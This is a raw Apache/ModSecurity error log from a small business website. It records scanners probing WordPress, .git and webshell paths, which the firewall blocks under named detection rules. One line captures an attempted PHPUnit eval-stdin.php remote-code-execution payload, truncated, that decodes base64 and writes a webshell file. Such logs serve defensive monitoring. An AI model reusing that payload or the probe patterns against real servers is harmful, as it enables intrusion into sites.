[Sat Feb 28 16:28:01.885138 2026] [:error] [pid 22194:tid 22213] [client 20.220.232.101:25239] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtz.php"] [unique_id "aaKnEX6mbajs3bzQGytw0AAAAVE"]
[Sat Feb 28 16:28:05.469423 2026] [:error] [pid 52460:tid 52478] [client 20.220.232.101:24734] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtz.php"] [unique_id "aaKnFbLWOogAgHGh62SpBAAAAY8"]
[Sat Feb 28 16:28:10.640327 2026] [proxy_fcgi:error] [pid 39183:tid 39192] [client 20.220.232.101:64399] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:28:10.855214 2026] [proxy_fcgi:error] [pid 39183:tid 39209] [client 20.220.232.101:64399] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:28:11.069836 2026] [proxy_fcgi:error] [pid 39183:tid 39202] [client 20.220.232.101:64399] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:28:11.286594 2026] [proxy_fcgi:error] [pid 39183:tid 39198] [client 20.220.232.101:64399] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:28:11.507350 2026] [proxy_fcgi:error] [pid 39183:tid 39206] [client 20.220.232.101:64399] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:03:58.782576 2026] [:error] [pid 49763:tid 49774] [client 45.153.34.31:60402] [client 45.153.34.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aaKvfrTHSOG_yf2PpqEFEQAAAcg"]
[Sat Feb 28 18:04:57.720178 2026] [autoindex:error] [pid 52460:tid 52463] [client 194.146.12.7:62089] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 18:49:05.868335 2026] [:error] [pid 39183:tid 39208] [client 97.100.68.184:53931] [client 97.100.68.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 97.100.68.184, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaLIIRCf4HvhVePw3LacPAAAABA"]
[Sat Feb 28 18:49:05.879766 2026] [proxy_fcgi:error] [pid 39183:tid 39208] [client 97.100.68.184:53931] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 18:49:35.461588 2026] [:error] [pid 52460:tid 52486] [client 136.185.78.176:53116] [client 136.185.78.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.185.78.176, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaLIP7LWOogAgHGh62QPrQAAAZc"]
[Sat Feb 28 18:49:35.473978 2026] [proxy_fcgi:error] [pid 52460:tid 52486] [client 136.185.78.176:53116] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 18:51:49.117214 2026] [proxy_fcgi:error] [pid 49763:tid 49785] [client 145.239.10.137:55206] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/tcb.php
[Sat Feb 28 19:57:08.865937 2026] [:error] [pid 39183:tid 39193] [client 223.185.43.221:4040] [client 223.185.43.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.43.221, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaLYFBCf4HvhVePw3Lbt7AAAAAE"]
[Sat Feb 28 19:57:08.877838 2026] [proxy_fcgi:error] [pid 39183:tid 39193] [client 223.185.43.221:4040] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:08:58.952134 2026] [proxy_fcgi:error] [pid 39183:tid 39213] [client 20.220.13.5:61027] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:08:59.162156 2026] [proxy_fcgi:error] [pid 39183:tid 39209] [client 20.220.13.5:61027] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:08:59.581340 2026] [:error] [pid 39183:tid 39205] [client 20.220.13.5:61027] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaLa2xCf4HvhVePw3Lb8LwAAAA0"]
[Sat Feb 28 20:09:00.852790 2026] [proxy_fcgi:error] [pid 39184:tid 39230] [client 20.220.13.5:61048] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:09:01.272321 2026] [proxy_fcgi:error] [pid 39184:tid 39235] [client 20.220.13.5:61048] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:09:01.899512 2026] [:error] [pid 39184:tid 39243] [client 20.220.13.5:61048] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaLa3VtZF9Zd_U7easCctQAAAFg"]
[Sat Feb 28 20:09:02.751974 2026] [:error] [pid 49763:tid 49776] [client 20.220.13.5:61034] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaLa3rTHSOG_yf2PpqEGKQAAAco"]
[Sat Feb 28 20:09:03.577251 2026] [:error] [pid 52460:tid 52477] [client 20.220.13.5:60935] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaLa37LWOogAgHGh62RPWQAAAY4"]
[Sat Feb 28 20:09:04.417122 2026] [:error] [pid 39292:tid 39318] [client 20.220.13.5:61020] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaLa4KIAO5fN7BxyqcFk9QAAANg"]
[Sat Feb 28 20:15:59.591381 2026] [proxy_fcgi:error] [pid 39183:tid 39215] [client 104.208.116.225:4299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:15:59.713931 2026] [proxy_fcgi:error] [pid 39183:tid 39214] [client 104.208.116.225:4299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:15:59.963768 2026] [proxy_fcgi:error] [pid 39183:tid 39204] [client 104.208.116.225:4299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:16:00.091498 2026] [proxy_fcgi:error] [pid 39183:tid 39212] [client 104.208.116.225:4299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:16:00.345473 2026] [proxy_fcgi:error] [pid 39183:tid 39195] [client 104.208.116.225:4299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:16:00.470635 2026] [proxy_fcgi:error] [pid 39183:tid 39202] [client 104.208.116.225:4299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:16:00.596452 2026] [proxy_fcgi:error] [pid 39183:tid 39200] [client 104.208.116.225:4299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:16:00.839034 2026] [:error] [pid 39183:tid 39192] [client 104.208.116.225:4299] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLcgBCf4HvhVePw3LYHBwAAAAA"]
[Sat Feb 28 20:16:01.321552 2026] [:error] [pid 11791:tid 11800] [client 104.208.116.225:4311] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLcgWuX5e1Q32gqxH21cAAAAQc"]
[Sat Feb 28 20:16:01.937357 2026] [:error] [pid 49763:tid 49770] [client 104.208.116.225:15077] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLcgbTHSOG_yf2PpqEWIwAAAcQ"]
[Sat Feb 28 20:16:02.429547 2026] [:error] [pid 49763:tid 49784] [client 104.208.116.225:15067] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLcgrTHSOG_yf2PpqEWKwAAAdI"]
[Sat Feb 28 20:47:01.413221 2026] [proxy_fcgi:error] [pid 52460:tid 52474] [client 40.85.218.222:59107] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:47:01.654549 2026] [proxy_fcgi:error] [pid 52460:tid 52481] [client 40.85.218.222:59107] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:47:02.088957 2026] [proxy_fcgi:error] [pid 52460:tid 52480] [client 40.85.218.222:59107] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:47:02.334050 2026] [proxy_fcgi:error] [pid 52460:tid 52466] [client 40.85.218.222:59107] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:47:04.065858 2026] [proxy_fcgi:error] [pid 52460:tid 52464] [client 40.85.218.222:59107] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:47:04.279843 2026] [proxy_fcgi:error] [pid 52460:tid 52485] [client 40.85.218.222:59107] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:47:04.496133 2026] [proxy_fcgi:error] [pid 52460:tid 52476] [client 40.85.218.222:59107] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 20:47:04.923256 2026] [:error] [pid 52460:tid 52472] [client 40.85.218.222:59107] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLjyLLWOogAgHGh62RxJAAAAYk"]
[Sat Feb 28 20:47:05.843849 2026] [:error] [pid 11791:tid 11793] [client 40.85.218.222:65514] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLjyWuX5e1Q32gqxH29wwAAAQA"]
[Sat Feb 28 20:47:06.705045 2026] [:error] [pid 39183:tid 39202] [client 40.85.218.222:59084] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLjyhCf4HvhVePw3LYmywAAAAo"]
[Sat Feb 28 20:47:07.563214 2026] [:error] [pid 39292:tid 39318] [client 40.85.218.222:65512] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLjy6IAO5fN7BxyqcFxmwAAANg"]
[Sat Feb 28 21:34:01.541088 2026] [proxy_fcgi:error] [pid 49763:tid 49778] [client 20.220.13.5:22734] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 21:34:01.751153 2026] [proxy_fcgi:error] [pid 49763:tid 49774] [client 20.220.13.5:22734] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 21:34:02.796665 2026] [proxy_fcgi:error] [pid 49763:tid 49781] [client 20.220.13.5:22734] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 21:34:03.008246 2026] [proxy_fcgi:error] [pid 49763:tid 49775] [client 20.220.13.5:22734] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 21:34:03.430175 2026] [proxy_fcgi:error] [pid 49763:tid 49776] [client 20.220.13.5:22734] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 21:34:03.640151 2026] [proxy_fcgi:error] [pid 49763:tid 49772] [client 20.220.13.5:22734] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 21:34:03.852249 2026] [proxy_fcgi:error] [pid 49763:tid 49770] [client 20.220.13.5:22734] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 21:34:04.268431 2026] [:error] [pid 49763:tid 49774] [client 20.220.13.5:22734] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLuzLTHSOG_yf2PpqGApAAAAcg"]
[Sat Feb 28 21:34:05.120309 2026] [:error] [pid 39183:tid 39195] [client 20.220.13.5:22710] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLuzRCf4HvhVePw3LZV8QAAAAM"]
[Sat Feb 28 21:34:05.947298 2026] [:error] [pid 49763:tid 49787] [client 20.220.13.5:23054] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLuzbTHSOG_yf2PpqGAwwAAAdU"]
[Sat Feb 28 21:34:06.778569 2026] [:error] [pid 39183:tid 39208] [client 20.220.13.5:22726] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLuzhCf4HvhVePw3LZV-AAAABA"]
[Sat Feb 28 22:32:50.095261 2026] [:error] [pid 39185:tid 39264] [client 45.134.79.139:47412] [client 45.134.79.139] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "Web.config" at ARGS:1',$a);$o. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||agraphics.com.au|F|2"] [data "Matched Data: Web.config found within ARGS:1',$a);$o: implode(\\x22/n\\x22,$a);}\\x0aecho $o;\\x0aecho 'xx_rce_end_xx';\\x0a$f = $_server['document_root'].'/web.config.php';\\x0a$shell = base64_decode('pd9wahagzxjyb3jfcmvwb3j0aw5nkdapoyrhpsdyzxynoyripsdzdhinoyrjpsrilirhoyrrmd0nxycujgmoj1rfrycpoyrrmt0nxycujgmoj1rtt1anktskazi9j18nlirjkcdtruxjricpoyrrmz0nxycujgmoj1jfvljfuycpoyrrnt0kyygnexbvyycpoyrrnj0kyygnzwxiyxrpcndfc2knktskazc9jgmoj2vtyw51x3bocccpoyrzyt0kyygnukreqv9srvzsrvmnktskdt0kyygnzgfvbhb1jyk7jgk9jgmoj2vsa..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aaL8khVE-FfM89u7BQazIgAAAJI"]
[Sat Feb 28 23:08:17.297536 2026] [proxy_fcgi:error] [pid 39184:tid 39230] [client 20.220.13.5:25117] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 23:08:17.510512 2026] [proxy_fcgi:error] [pid 39184:tid 39234] [client 20.220.13.5:25117] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 23:08:18.363107 2026] [proxy_fcgi:error] [pid 39184:tid 39236] [client 20.220.13.5:25117] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 23:08:18.784134 2026] [:error] [pid 39184:tid 39237] [client 20.220.13.5:25117] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaME4ltZF9Zd_U7easD3kgAAAFI"]
[Sat Feb 28 23:08:20.265116 2026] [proxy_fcgi:error] [pid 39292:tid 39303] [client 20.220.13.5:25095] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 23:08:20.478115 2026] [:error] [pid 39292:tid 39298] [client 20.220.13.5:25095] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "aaME5KIAO5fN7BxyqcGi_QAAAMQ"]
[Sat Feb 28 23:08:21.327465 2026] [:error] [pid 39183:tid 39201] [client 20.220.13.5:61045] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "aaME5RCf4HvhVePw3LbGTQAAAAk"]
[Sat Feb 28 23:08:22.189314 2026] [:error] [pid 22194:tid 22206] [client 20.220.13.5:60998] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "aaME5n6mbajs3bzQGyu7IAAAAUo"]
[Sat Feb 28 23:08:23.195883 2026] [:error] [pid 39183:tid 39215] [client 20.220.13.5:61014] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "aaME5xCf4HvhVePw3LbGXQAAABc"]
[Sun Mar 01 00:28:03.185452 2026] [proxy_fcgi:error] [pid 31190:tid 31230] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:03.407833 2026] [proxy_fcgi:error] [pid 31190:tid 31220] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:03.623671 2026] [proxy_fcgi:error] [pid 31190:tid 31208] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:03.870857 2026] [proxy_fcgi:error] [pid 31190:tid 31225] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:04.098963 2026] [proxy_fcgi:error] [pid 31190:tid 31209] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:04.321298 2026] [proxy_fcgi:error] [pid 31190:tid 31221] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:04.760654 2026] [proxy_fcgi:error] [pid 31190:tid 31219] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:04.983918 2026] [proxy_fcgi:error] [pid 31190:tid 31223] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:05.195950 2026] [proxy_fcgi:error] [pid 31190:tid 31230] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:06.831919 2026] [proxy_fcgi:error] [pid 31190:tid 31226] [client 40.85.218.222:41986] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 00:28:07.064342 2026] [:error] [pid 31190:tid 31219] [client 40.85.218.222:41986] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaMXlxfvwGOholYpM1FAFwAAAM0"]
[Sun Mar 01 00:28:07.928758 2026] [:error] [pid 31190:tid 31218] [client 40.85.218.222:53227] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaMXlxfvwGOholYpM1FAIAAAAMw"]
[Sun Mar 01 00:28:08.863468 2026] [:error] [pid 31190:tid 31224] [client 40.85.218.222:53215] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaMXmBfvwGOholYpM1FAJQAAANI"]
[Sun Mar 01 00:28:09.786845 2026] [:error] [pid 30797:tid 30891] [client 40.85.218.222:59061] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaMXmfQmcmSQL-3rvLD5CgAAAFQ"]
[Sun Mar 01 01:05:18.125462 2026] [proxy_fcgi:error] [pid 53600:tid 53622] [client 20.63.83.162:41207] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:05:18.338180 2026] [proxy_fcgi:error] [pid 53600:tid 53613] [client 20.63.83.162:41207] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:05:18.698339 2026] [:error] [pid 53600:tid 53606] [client 20.63.83.162:41207] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-conflg.php"] [unique_id "aaMgTg2UMRAYWtDB23TRiAAAAQM"]
[Sun Mar 01 01:05:19.522524 2026] [:error] [pid 30798:tid 30914] [client 20.63.83.162:41105] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-conflg.php"] [unique_id "aaMgT8BkD73gO8wTonZWOgAAAI8"]
[Sun Mar 01 01:05:20.358217 2026] [:error] [pid 30798:tid 30908] [client 20.63.83.162:41092] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-conflg.php"] [unique_id "aaMgUMBkD73gO8wTonZWRwAAAIk"]
[Sun Mar 01 01:05:21.228809 2026] [:error] [pid 30797:tid 30895] [client 20.63.83.162:41285] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-conflg.php"] [unique_id "aaMgUfQmcmSQL-3rvLACigAAAFg"]
[Sun Mar 01 01:21:11.854283 2026] [proxy_fcgi:error] [pid 30798:tid 30920] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:21:12.070232 2026] [proxy_fcgi:error] [pid 30798:tid 30904] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:21:12.283439 2026] [proxy_fcgi:error] [pid 30798:tid 30905] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:21:12.496151 2026] [proxy_fcgi:error] [pid 30798:tid 30911] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
